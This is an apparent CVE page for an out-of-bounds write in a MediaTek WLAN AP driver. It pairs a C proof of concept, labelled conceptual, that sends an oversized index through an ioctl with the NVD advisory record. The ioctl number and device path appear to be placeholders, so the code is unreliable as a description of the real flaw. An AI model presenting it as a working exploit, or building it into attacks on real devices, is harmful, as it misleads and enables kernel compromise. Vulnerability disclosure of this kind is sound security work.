CVE-2025-20717

/* CVE-2025-20717 - MediaTek WLAN AP Driver OOB Write PoC (Conceptual) * This is a conceptual proof-of-concept demonstrating the vulnerability pattern. * The actual exploit requires kernel-level access and specific driver internals. * * Vulnerability: Out of bounds write due to incorrect bounds check * in WLAN AP driver (Patch ID: WCNCR00419946, Issue ID: MSV-3582) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #define WLAN_AP_DRIVER_IOCTL 0x1234 #define MAX_BUFFER_SIZE 256 /* Structure mimicking the vulnerable driver's IOCTL interface */ struct wlan_ap_request { unsigned int index; /* Array index - not properly bounds-checked */ unsigned int data_len; /* Length of data to write */ char data[]; /* Flexible array member for payload */ }; /* Conceptual trigger for OOB write vulnerability */ int trigger_oob_write(int fd, unsigned int malicious_index, const char *payload, size_t len) { struct wlan_ap_request *req; size_t req_size = sizeof(struct wlan_ap_request) + len; req = malloc(req_size); if (!req) { perror("malloc failed"); return -1; } /* Set the out-of-bounds index - this is the key vulnerability trigger */ req->index = malicious_index; /* No bounds check in vulnerable driver */ req->data_len = len; memcpy(req->data, payload, len); /* Send the malicious request to the WLAN AP driver */ if (ioctl(fd, WLAN_AP_DRIVER_IOCTL, req) < 0) { fprintf(stderr, "ioctl failed: %s\n", strerror(errno)); free(req); return -1; } free(req); return 0; } int main(int argc, char *argv[]) { int fd; printf("[+] CVE-2025-20717 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("[+] WARNING: For educational/research purposes only\n\n"); /* Open the WLAN AP driver device */ fd = open("/dev/wlan_ap", O_RDWR); if (fd < 0) { perror("[-] Failed to open WLAN AP driver device"); printf("[*] This PoC requires access to the vulnerable driver on a target device\n"); return 1; } /* * Craft payload with an out-of-bounds index. * The malicious index causes the driver to write beyond the * allocated buffer, potentially overwriting adjacent kernel structures. */ char payload[] = "AAAA"; /* Placeholder for exploit payload */ /* Use an index beyond the valid range to trigger OOB write */ unsigned int oob_index = 0xFFFF; /* Out-of-bounds index */ printf("[*] Triggering OOB write with index: 0x%x\n", oob_index); if (trigger_oob_write(fd, oob_index, payload, sizeof(payload)) == 0) { printf("[+] Exploit triggered successfully\n"); } else { printf("[-] Exploit failed\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2025-20717", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:36.373", "lastModified": "2025-10-15T18:45:55.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00419946; Issue ID: MSV-3582."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}